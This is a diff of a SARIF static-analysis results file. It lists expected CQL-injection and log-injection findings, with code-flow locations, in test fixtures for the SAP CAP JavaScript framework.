                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 38,
-                  "endColumn" : 51
+                  "startLine" : 30,
+                  "startColumn" : 56,
+                  "endColumn" : 60
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 36,
-                  "endColumn" : 53
+                  "startLine" : 30,
+                  "startColumn" : 32,
+                  "endColumn" : 60
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "`SELECT ...  + book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
+                  "startLine" : 30,
+                  "startColumn" : 18,
+                  "endColumn" : 61
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "cds.par ... + book)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startLine" : 30,
+                  "startColumn" : 11,
+                  "endColumn" : 61
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "cqn1"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
+                  "startLine" : 31,
+                  "startColumn" : 39,
                   "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "msg.data"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
-                },
-                "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 32
-                }
-              },
-              "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "cqn1"
               }
             }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
-                },
-                "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 17,
-                  "endColumn" : 30
-                }
-              },
-              "message" : {
-                "text" : "messageToPass"
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-log-injection",
+      "rule" : {
+        "id" : "js/cap-log-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 11,
+            "startColumn" : 16,
+            "endColumn" : 29
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "eae426bf8fad0192:1",
+        "primaryLocationStartColumnFingerprint" : "9"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 7,
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
+                }
+              },
+              "message" : {
+                "text" : "req.data"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
+                }
+              },
+              "message" : {
+                "text" : "{ book, quantity }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 8,
                   "startColumn" : 15,
-                  "endColumn" : 43
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 11,
+                  "startColumn" : 25,
+                  "endColumn" : 29
+                }
+              },
+              "message" : {
+                "text" : "book"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 11,
+                  "startColumn" : 16,
+                  "endColumn" : 29
+                }
+              },
+              "message" : {
+                "text" : "\"CAP:\" + book"
               }
             }
           } ]
         } ]
-      }, {
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-log-injection",
+      "rule" : {
+        "id" : "js/cap-log-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 18,
+            "startColumn" : 47,
+            "endColumn" : 48
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "e05b39891dddd161:1",
+        "primaryLocationStartColumnFingerprint" : "40"
+      },
+      "codeFlows" : [ {
         "threadFlows" : [ {
           "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
+                  "startLine" : 15,
+                  "startColumn" : 24,
+                  "endColumn" : 27
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 17,
+                  "endColumn" : 20
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 17,
+                  "endColumn" : 25
+                }
+              },
+              "message" : {
+                "text" : "req.data"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 13,
+                  "endColumn" : 25
+                }
+              },
+              "message" : {
+                "text" : "$"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 47,
+                  "endColumn" : 48
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "$"
               }
             }
-          }, {
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 15,
+            "startColumn" : 24,
+            "endColumn" : 27
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-log-injection",
+      "rule" : {
+        "id" : "js/cap-log-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 25,
+            "startColumn" : 16,
+            "endColumn" : 29
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "4dc77ce4a9b7031e:1",
+        "primaryLocationStartColumnFingerprint" : "9"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startLine" : 23,
+                  "startColumn" : 34,
+                  "endColumn" : 54
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req2.params.category"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 43
+                  "startLine" : 23,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "msg.data"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 7,
+                  "startLine" : 23,
                   "startColumn" : 15,
-                  "endColumn" : 32
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 17,
-                  "endColumn" : 30
+                  "startLine" : 23,
+                  "startColumn" : 13,
+                  "endColumn" : 54
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 43
+                  "startLine" : 25,
+                  "startColumn" : 25,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 47
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startLine" : 25,
+                  "startColumn" : 16,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "\"CAP:\" + book"
               }
             }
           } ]
@@ -22016,31 +22565,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 43
-          },
-          "region" : {
-            "startLine" : 6,
-            "startColumn" : 33,
-            "endColumn" : 36
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      }, {
-        "id" : 2,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 47
+            "index" : 2
           },
           "region" : {
-            "startLine" : 6,
-            "startColumn" : 29,
-            "endColumn" : 32
+            "startLine" : 23,
+            "startColumn" : 34,
+            "endColumn" : 54
           }
         },
         "message" : {
@@ -22057,14 +22589,14 @@
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1).\nLog entry depends on a [user-provided value](2)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 52
+            "index" : 43
           },
           "region" : {
             "startLine" : 9,
@@ -22083,68 +22615,68 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 6,
-                  "startColumn" : 33,
-                  "endColumn" : 36
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 47
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 36
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
@@ -22155,14 +22687,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 21,
-                  "endColumn" : 34
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
@@ -22173,14 +22705,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 47
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
@@ -22191,21 +22723,74 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 38,
-                  "endColumn" : 51
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
                 "text" : "messageToPass"
               }
             }
-          }, {
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 43
+          },
+          "region" : {
+            "startLine" : 6,
+            "startColumn" : 29,
+            "endColumn" : 32
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-log-injection",
+      "rule" : {
+        "id" : "js/cap-log-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 51
+          },
+          "region" : {
+            "startLine" : 9,
+            "startColumn" : 32,
+            "endColumn" : 45
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
+        "primaryLocationStartColumnFingerprint" : "23"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
@@ -22214,99 +22799,99 @@
                   "index" : 49
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 36,
-                  "endColumn" : 53
+                  "startLine" : 6,
+                  "startColumn" : 33,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 49
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startColumn" : 39,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 49
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 43
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "msg.data"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 49
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 32
+                  "startColumn" : 21,
+                  "endColumn" : 34
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 49
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 17,
-                  "endColumn" : 30
+                  "startColumn" : 19,
+                  "endColumn" : 47
                 }
               },
               "message" : {
@@ -22317,14 +22902,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 43
+                  "startLine" : 9,
+                  "startColumn" : 38,
+                  "endColumn" : 51
                 }
               },
               "message" : {
@@ -22335,31 +22920,27 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 49
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "{ messageToPass }"
               }
             }
-          } ]
-        } ]
-      }, {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 52
+                  "index" : 51
                 },
                 "region" : {
                   "startLine" : 6,
@@ -22377,7 +22958,7 @@
                 "artifactLocation" : {
